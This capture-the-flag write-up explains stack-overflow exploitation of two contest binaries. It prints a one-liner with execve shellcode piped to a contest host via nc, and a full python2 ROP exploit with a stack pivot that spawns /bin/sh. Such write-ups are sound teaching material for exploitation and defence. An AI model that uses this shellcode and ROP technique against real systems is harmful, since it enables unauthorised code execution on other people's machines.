In this post I'll describe my solutions to the bender (pwn400) & teleport (pwn600) challenges, which were the only two pwnables we had unlocked :/ (we were only two players)
It seems pwnables were overrated, so I'd say those were more like pwn200 and pwn400.

bender

Good news everyone, to help out with the pollution of space, bender has a new waste disposal!
In a totally unrelated news, Dr Zoidberg disappeared... Here's the disposal anyway:
AVAIL ON 10.13.37.35:4003 | 10.13.37.25:4003
ASLR: YES NX:NO

Download the binary (ELF x86) here.

The binary reads user input byte by byte in a buffer of 128 bytes with buf[counter++].
The stack layout is [ buffer ][ counter ][ s-ebp ][ s-eip ].
So when you write more than 128 bytes you overflow into the counter. We just need to overwrite the last byte of the counter so that it will write directly on the saved eip.

NX is disabled so we can put our shellcode right after the saved EIP on the stack and use a "jmp *esp" like gadget:

0x08048521: push esp :: ret

Final exploit:

(python2 -c 'import struct; print "A"*128+"\x8F"+struct.pack("<I", 0x08048521)+"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52\x51\x53\x89\xe1\xcd\x80\x00"'; cat -)|nc 10.13.37.35 4003

teleport

We heard there's a teleporter out there which allows you to get closer to the center of the galaxy!
It seems totally broken tho, but I'm sure you can "fix" it! (bonus flag inside)
AVAIL ON 10.13.37.36:4000 10.13.37.26:4000
ASLR: NO NX: YES

Download the binary (ELF x86) here.

This is a very small static binary written in assembly. The vulnerability is obvious: the program reads 0x28 bytes in a 0x14 buffer located on the stack. The difficulty (and fun) comes from the lack of good gadgets. We indeed have very nice gadgets like "int 0x80 ; ret", but we need to pass parameters in registers, and the usual gadgets like pop eax are not present. The read wrapper is:

read_wrapper.png

This is nice as it allows us to setup registers ebx, ecx and edx. The only register modified by the syscall is eax, which is the return value. The problem is there isn't any gadget to setup eax, which is very important as it holds the syscall number... However, we can use the return value of a call to read() to set it.

But that means we also need to give valid parameters to read(), and that's a problem because what we want to do is execve(), which uses different parameters. Also we can't use any gadgets that contain int 0x80 because that would overwrite our eax value. A good solution is to use the gadget twice: the first time we use the following gadget to setup eax:

0x08048109: mov eax, 0x00000003 :: mov ebx, dword [esp+0x04] :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

Then we use the same gadget just skipping the mov eax, 3, but using different values to fill ebx, ecx and edx.
But that would require us to overwrite more data on the stack and we are quite limited (20 bytes).

We have two solutions:

  1. Hardcode a stack address (remember that ASLR is off...).
  2. Find a gadget to pivot to a crafted stack at a known address

We can leak the stack using the write wrapper at 0x080480F5, which allows to retrieve the exact location of our buffer on the remote system, by leaking 0x2000 bytes before 0xbfffffff, then we ROP to read() at this location + xx bytes to write our stage 2 ropchain, and use the gadget at 0x08048109 to perform execve().
However there is a much cleaner alternative that also works when ASLR is enabled...

It may be surprising, but there is a nice gadget available to pivot if you increase the ROP depth a bit more:

0x080480fb: pop esp :: and al, 0x04 :: mov ecx, dword [esp+0x08] :: mov edx, dword [esp+0x0C] :: int 0x80 :: ret

We want to perform a execve("/bin/sh", {"/bin/sh", NULL}, NULL), proceeding like this:

  1. Store the execve parameters in a fixed location: .data is rw and static, we can simply use the read wrapper gadget to write our parameters there. We can kill two birds with one stone and also store our stage2 ropchain there ;
  2. Set eax to 0x0B (SYS_execve) using the read wrapper gadget once more ;
  3. Pivot our stack to .data using the gadget at 0x080480fb ;
  4. Set the remaining registers (ebx, ecx, edx) to execve parameters, and execute the syscall, using one last time the read wrapper gadget (skipping the mov eax, 3).
  5. Enjoy our shell.

Here is my exploit:

#!/usr/bin/env python2
 
import sys
import struct
 
DATA_BASE = 0x08049130
 
#------------------------------------------------------------------------------
# Step 1: Setup .data with our execve parameters
#------------------------------------------------------------------------------
 
# 1.1: Recv to .data
 
payload  = "A" * 0x14
payload += struct.pack("<I", 0x08048109)            # Wrapper to read(fd, addr, len)
payload += struct.pack("<I", 0x0804811D)            # Replay vuln
payload += struct.pack("<I", 0x0)                          # fd = STDIN_FILENO
payload += struct.pack("<I", DATA_BASE)              # addr = .data
payload += struct.pack("<I", 0x100)                      # len = large enough
 
payload  = payload.ljust(0x28, "\x00")                    # Padding (useless here)
 
sys.stdout.write(payload)
 
# 1.2: Send execve parameters & stage2 ropchain
 
args_execve  = struct.pack("<I", DATA_BASE + 8)  # argv[0] -> "/bin/sh"
args_execve += struct.pack("<I", 0x0)                   # argv[1] -> NULL
args_execve += "/bin/sh\x00"                                 # "/bin/sh"
 
args_execve  = args_execve.ljust(0x80, "\x00")      # Padding
 
stage2  = struct.pack("<I", 0x08048109)              # Wrapper to read(fd, addr, len)
stage2 += struct.pack("<I", 0x0804812c)             # add esp, 0x20 ; ret
 
stage2 += struct.pack("<I", 0x0)                           # ebx : fd = STDIN_FILENO
stage2 += struct.pack("<I", DATA_BASE + 0x100) # ecx : addr
stage2 += struct.pack("<I", 0xB)                           # edx : len
 
stage2 += "JUNK" * 5
stage2 += struct.pack("<I", 0x0804810E)             # mov ebx, dword [esp+0x04] ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret 
stage2 += struct.pack("<I", 0x080480E9)             # exit(0)
stage2 += struct.pack("<I", DATA_BASE + 8)        # ebx : "/bin/sh"
stage2 += struct.pack("<I", DATA_BASE)               # ecx : **argv
stage2 += struct.pack("<I", 0x0)                           # edx : **env = NULL
 
stage2  = stage2.ljust(0x80, "\x00")                      # Padding
 
sys.stdout.write(args_execve + stage2)
 
#------------------------------------------------------------------------------
# Step 2: Pivot to .data
#------------------------------------------------------------------------------
 
# 2.1: Pivot to .data
 
payload  = "B" * 0x14
payload += struct.pack("<I", 0x080480fb)            # pop esp ; and al, 0x04 ; mov ecx, dword [esp+0x08] ; mov edx, dword [esp+0x0C] ; int 0x80 ; ret
payload += struct.pack("<I", DATA_BASE + 0x80) # pivot esp
 
payload = payload.ljust(0x28, "\x00")                    # Padding
 
sys.stdout.write(payload)
 
# 2.2: Send 0xB bullshit chars to set eax to 0xB after recv
 
sys.stdout.write("X" * 0xB)

We launch the exploit like this:

(./sploit.py; cat -)|nc 10.13.37.36 4000

Once we had our shell, the flag was in flag.txt. There was also a bonus flag if your exploit got you a shell and not only a file read. The bonus flag was in a file that couldn't be read by the current user, but a setuid binary allowed us to get the bonus flag by simply executing it. +200 points for free ;)